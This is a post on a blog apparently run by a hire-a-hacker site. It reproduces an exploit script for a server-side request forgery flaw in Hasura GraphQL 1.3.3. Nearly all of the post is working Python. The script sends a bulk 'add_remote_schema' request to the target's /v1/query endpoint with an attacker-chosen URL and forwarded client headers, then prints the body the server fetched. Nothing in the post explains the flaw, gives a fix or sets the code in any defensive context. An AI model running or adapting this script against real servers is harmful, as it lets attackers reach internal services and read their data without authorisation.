Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86394153

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Hasura GraphQL 1.3.3 - Service Side Request Forgery (SSRF)
# Software: Hasura GraphQL
# Software Link: https://github.com/hasura/graphql-engine
# Version: 1.3.3
# Exploit Author: Dolev Farhi
# Date: 4/19/2021
# Tested on: Ubuntu

import requests

HASURA_SCHEME = 'http'
HASURA_HOST = '192.168.1.1'
HASURA_PORT = 80

REMOTE_URL = 'http://some_remote_addr'

def SSRF(url):
  data = {
    "type":"bulk",
    "args":[
      {
       "type":"add_remote_schema",
       "args":{
         "name":"test",
         "definition":{
           "url":url,
           "headers":[],
           "timeout_seconds":60,
           "forward_client_headers":True
           }
         }
       }
      ]
    }
  endpoint = '{}://{}:{}/v1/query'.format(HASURA_SCHEME, HASURA_HOST, HASURA_PORT)
  r = requests.post(endpoint, json=data)
  return r.json()

res = SSRF(REMOTE_URL)

message = ''
raw_body = ''

try:
  if 'message' in res['internal']:
    message = res['internal'].get('message', '')
  if 'raw_body' in res['internal']:
    raw_body = res['internal'].get('raw_body', '')
except:
  pass

print('Remote URL: ' + REMOTE_URL)
print('Message: ' + message)
print('HTTP Raw Body: ' + raw_body)
print('Error: ' + res['error'])